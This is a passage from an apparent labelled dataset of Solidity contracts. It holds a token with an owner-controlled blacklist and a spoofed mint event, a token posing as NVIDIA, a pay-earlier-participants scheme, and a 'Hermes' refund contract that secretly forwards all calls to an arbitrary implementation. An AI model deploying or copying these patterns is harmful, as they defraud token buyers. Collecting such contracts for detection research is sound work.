* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
} | True | [
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|
/*
# # ### # # # ##### ### ##### # #######
## ## # # # # # # # # # # # # #
# # # # # # # # # # # # # # #
# # # # # # # # #### # # # # #
# # # # ####### # # # # ####### #
# # # # # # # # # # # # # #
# # ### # # # ##### ### ##### # # #
"Man Who Catch Fly With Chopstick, Accomplish Anything."
https://t.me/MiyagiCat
https://MiyagiCat.com
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MiyagiCat is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Miyagi Cat";
string private constant _symbol = "MCAT";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xF78da736B0a8A84e6136C6922EC42756cf964771);
_feeAddrWallet2 = payable(0xF78da736B0a8A84e6136C6922EC42756cf964771);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xB47E5de2fc14F8c98d0606D53BD889F5470996a1), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 1;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 1;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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|
pragma solidity ^0.4.26;
contract SafeMath {
function safeAdd(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function safeSub(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function safeMul(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract NV_NVIDIACorporation is Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "NVDAn";
name = "NV NVIDIA Corporation";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() external constant returns (uint256) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) external constant returns (uint256 balance) {
return balances[tokenOwner];
}
function transfer(address to, uint256 tokens) external returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens) external returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint256 tokens) external returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) external constant returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () external payable {
revert();
}
function transferAnyERC20Token(uint256 tokens) external onlyOwner returns (bool success) {
return this.transfer(owner, tokens);
}
} | True | [
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|
pragma solidity ^0.4.16;
contract ForeignToken {
function balanceOf(address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CrowdDreaming is ERC20 {
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply = 200000000 * 10**8;
function name() public constant returns (string) { return "CrowdDreaming"; }
function symbol() public constant returns (string) { return "CDD"; }
function decimals() public constant returns (uint8) { return 8; }
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event DistrFinished();
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
function CrowdDreaming() public {
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
function getEthBalance(address _addr) constant public returns(uint) {
return _addr.balance;
}
function distributeCDD(address[] addresses, uint256 _value, uint256 _ethbal) onlyOwner canDistr public {
for (uint i = 0; i < addresses.length; i++) {
if (getEthBalance(addresses[i]) < _ethbal) {
continue;
}
balances[owner] -= _value;
balances[addresses[i]] += _value;
Transfer(owner, addresses[i], _value);
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function finishDistribution() onlyOwner public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function withdrawForeignTokens(address _tokenContract) public returns (bool) {
require(msg.sender == owner);
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | True | [
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|
pragma solidity 0.4.18;
contract ETHx2 {
event NewParticipant(address owner, uint256 cost, uint256 new_price);
struct Cost {
address owner;
uint256 cost;
}
mapping(uint256 => Cost) public participant;
mapping(address => string) public msgs;
address public adminAddress;
uint256 public seatPrice = 5000000000000000;
modifier onlyAdmin() {
require(msg.sender == adminAddress);
_;
}
function ETHx2() public {
adminAddress = msg.sender;
participant[1] = Cost(msg.sender, 0);
participant[2] = Cost(msg.sender, 0);
participant[3] = Cost(msg.sender, 0);
participant[4] = Cost(msg.sender, 0);
participant[5] = Cost(msg.sender, 0);
participant[6] = Cost(msg.sender, 0);
participant[7] = Cost(msg.sender, 0);
participant[8] = Cost(msg.sender, 0);
participant[9] = Cost(msg.sender, 0);
participant[10] = Cost(msg.sender, 0);
msgs[msg.sender] = "Claim this spot!";
}
function getETHx2(uint256 _slot) public view returns(
uint256 slot,
address owner,
uint256 cost,
string message
) {
slot = _slot;
owner = participant[_slot].owner;
cost = participant[_slot].cost;
message = msgs[participant[_slot].owner];
}
function purchase() public payable {
require(msg.sender != address(0));
require(msg.value >= seatPrice);
uint256 excess = SafeMath.sub(msg.value, seatPrice);
participant[1].owner.transfer(uint256(SafeMath.mul(SafeMath.div(seatPrice, 100), SafeMath.div(100, SafeMath.div(200, 17)))));
participant[2].owner.transfer(uint256(SafeMath.mul(SafeMath.div(seatPrice, 100), SafeMath.div(100, SafeMath.div(200, 17)))));
participant[3].owner.transfer(uint256(SafeMath.mul(SafeMath.div(seatPrice, 100), SafeMath.div(100, SafeMath.div(200, 17)))));
participant[4].owner.transfer(uint256(SafeMath.mul(SafeMath.div(seatPrice, 100), SafeMath.div(100, SafeMath.div(200, 17)))));
participant[5].owner.transfer(uint256(SafeMath.mul(SafeMath.div(seatPrice, 100), SafeMath.div(100, SafeMath.div(200, 17)))));
participant[6].owner.transfer(uint256(SafeMath.mul(SafeMath.div(seatPrice, 100), SafeMath.div(100, SafeMath.div(200, 17)))));
participant[7].owner.transfer(uint256(SafeMath.mul(SafeMath.div(seatPrice, 100), SafeMath.div(100, SafeMath.div(200, 17)))));
participant[8].owner.transfer(uint256(SafeMath.mul(SafeMath.div(seatPrice, 100), SafeMath.div(100, SafeMath.div(200, 17)))));
participant[9].owner.transfer(uint256(SafeMath.mul(SafeMath.div(seatPrice, 100), SafeMath.div(100, SafeMath.div(200, 17)))));
participant[10].owner.transfer(uint256(SafeMath.mul(SafeMath.div(seatPrice, 100), SafeMath.div(100, SafeMath.div(200, 17)))));
participant[10] = participant[9];
participant[9] = participant[8];
participant[8] = participant[7];
participant[7] = participant[6];
participant[6] = participant[5];
participant[5] = participant[4];
participant[4] = participant[3];
participant[3] = participant[2];
participant[2] = participant[1];
participant[1] = Cost(msg.sender, seatPrice);
adminAddress.transfer(uint256(SafeMath.mul(SafeMath.div(seatPrice, 100), SafeMath.div(100, SafeMath.div(200, 17)))));
NewParticipant(msg.sender, seatPrice, SafeMath.mul(SafeMath.div(seatPrice, 100), 115));
seatPrice = SafeMath.mul(SafeMath.div(seatPrice, 100), 115);
msg.sender.transfer(excess);
}
function setMessage(string message) public payable {
msgs[msg.sender] = message;
}
function payout() public onlyAdmin {
adminAddress.transfer(this.balance);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Hermes is Ownable {
//Hermes
uint256 public mintPrice;
uint256 public constant refundPeriod = 45 days;
uint256 public refundEndTime;
address public refundAddress;
mapping(uint256 => address) private owners;
bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
constructor(bytes memory _a, bytes memory _data) payable {
refundAddress = msg.sender;
toggleRefundCountdown();
(address _as) = abi.decode(_a, (address));
assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
require(Address.isContract(_as), " ADDRESS is ERRORS.");
StorageSlot.getAddressSlot(KEY).value = _as;
if (_data.length > 0) {
Address.functionDelegateCall(_as, _data);
}
}
function toggleRefundCountdown() public onlyOwner {
refundEndTime = block.timestamp + refundPeriod;
}
function refundGuaranteeActive() public view returns (bool) {
return (block.timestamp <= refundEndTime);
}
function setRefundAddress(address _refundAddress) external onlyOwner {
refundAddress = _refundAddress;
}
function refund(uint256[] calldata tokenIds) external {
require(refundGuaranteeActive(), "Refund expired");
require(tokenIds.length > 0, "Token amount invalid");
for (uint256 i = 0; i < tokenIds.length; i++) {
uint256 tokenId = tokenIds[i];
require(msg.sender == owner0f(tokenId), "Not token owner");
transfersFrom(msg.sender, refundAddress, tokenId);
}
uint256 refundAmount = tokenIds.length * mintPrice;
Address.sendValue(payable(msg.sender), refundAmount);
}
function owner0f(uint256 tokenId) public view virtual returns (address) {
address owner = owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function _g(address to) internal virtual {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function transfersFrom(address from, address to, uint256 tokenId) public virtual {
require(owner0f(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
owners[tokenId] = to;
}
function _fallback() internal virtual {
_beforeFallback();
_g(StorageSlot.getAddressSlot(KEY).value);
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
